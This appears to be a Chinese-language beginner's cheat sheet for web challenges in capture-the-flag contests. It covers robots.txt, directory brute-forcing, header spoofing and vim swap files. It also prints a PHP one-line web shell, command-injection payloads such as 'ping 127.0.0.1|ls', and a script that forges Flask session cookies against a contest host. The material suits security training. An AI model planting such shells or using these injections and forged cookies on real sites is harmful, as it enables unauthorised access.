Web入门

[TOC]

linux命令

env # 环境变量
find <路径> -name <文件名>
find . -name "example.txt"
find /var/log -name "*.log"
find . -iname "example.txt" # 忽略大小写
find /home/user -name "*.txt" -o -name "*.md" # -o就是或
find . -name "*.tmp" -exec rm {} \; # 删除所有 .tmp 文件

直接查看

源码,cookie

robots协议-URL后加robots.txt

robots协议(Robots Exclusion Protocol),也称为爬虫排除标准或robots.txt协议,是一种网站通过其根目录下的robots.txt文件来告诉网络爬虫(搜索引擎的自动访问程序)哪些页面可以抓取,哪些页面不可以抓取的协议。这个协议由网站管理员设置,以控制搜索引擎如何索引他们的网站。

robots.txt文件通常位于网站的根目录下,例如:http://www.example.com/robots.txt。这个文件包含了一系列的规则,这些规则指定了哪些爬虫可以访问网站的哪些部分。这些规则通常包括:

  1. User-agent:指定规则适用于哪个爬虫。例如,Googlebot是Google搜索引擎的爬虫。

  2. Disallow:指定不允许爬虫访问的路径。例如,Disallow: /private/表示不允许爬虫访问/private/目录下的所有页面。

  3. Allow:指定允许爬虫访问的路径。通常与Disallow一起使用,以提供更具体的访问控制。

  4. Crawl-delay:指定爬虫在请求下一个页面之前应该等待的时间(以秒为单位)。

  5. Sitemap:指定网站地图的URL,网站地图是一个列出了网站所有重要页面的文件,方便爬虫发现和索引。

robots协议是一个君子协议,它依赖于爬虫开发者遵守这些规则。虽然大多数主流搜索引擎都会遵守这个协议,但并不是所有爬虫都会这么做。此外,robots协议并不能阻止恶意用户直接访问网站内容,它只能限制爬虫的行为。

备份文件-暴力破解

https://github.com/maurosoria/dirsearch 功能:Web 路径暴力破解器 常见的备份文件后缀名有: .git .svn .swp .svn .~ .bak .bash_history

python dirsearch.py -u http://61.147.171.105:51018 -e *

爆破-字典

https://github.com/rootphantomer/Blasting_dictionary

修改请求头xff,referer,Client-ip,user-agent,via

命令的拼接

linux中,

ping 127.0.0.1|ls
ping 127.0.0.1;ls

php类型比较

https://www.php.net/manual/zh/types.comparisons.php

PHP语法

https://www.runoob.com/php/php-echo-print.html
https://www.cnblogs.com/gxngxngxn/p/17410173.html

system("cat /flag");

PING命令 RCE-前端禁用&命令执行

方法一:JS禁用。在Firefox地址栏里输入“about:config”。 在搜索栏输入“javascript.enabled”查找到首选项。 点击鼠标右键选择“切换”,把“javascript.enabled”键值改为“false” 方法二:JS Hook。控制台清空check_ip = function(){} 方法三:直接发包。

sql注入

hackbar爆数据库、表名、列名

文件上传

一句话木马

<?php @eval($_POST[cmd]); ?>

上传之后只要通过post传入cmd=system(“ls /”);等

vim

第一次意外退出产生的备份文件名为:.filename.swp
第二次意外退出产生的备份文件名为:.filename.swo
第三次意外退出产生的备份文件名为:.filename.swn
---------------------------------------------
当vim在编辑文档的过程中如果异常退出,则会产生缓存文件。第一次产生的缓存文件后缀为.swp,第二次则产生的缓存文件后缀为.swo,第三次产生的缓存文件后缀为.swn。

访问.index.php.swp可以得到index.php源码关键字段。

凭证伪造

pip3 install flask-unsign[wordlist]

假设有字典pass.txt,指定字典爆破:

$ flask-unsign --unsign --cookie "eyJuYW1lIjoiMSJ9.ZF_Bhw.mawKGPKlVL8_XkcZE2bcVHe6pOE" -w .\pass.txt --no-literal-eval
[*] Session decodes to: {'name': '1'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 2 attempts
b'LitCTF'
import requests
import string
import subprocess

SECRET_KEY = "LitCTF"

cmd_out = subprocess.check_output(['flask-unsign', '--sign', '--cookie', '{\'name\': \'admin\'}', '--secret', SECRET_KEY])

cookie = {'session' : cmd_out.decode().rstrip()}
response = requests.get('http://node5.anna.nssctf.cn:28403/flag', cookies=cookie)

print(response.text)
Licensed under CC BY-NC-SA 4.0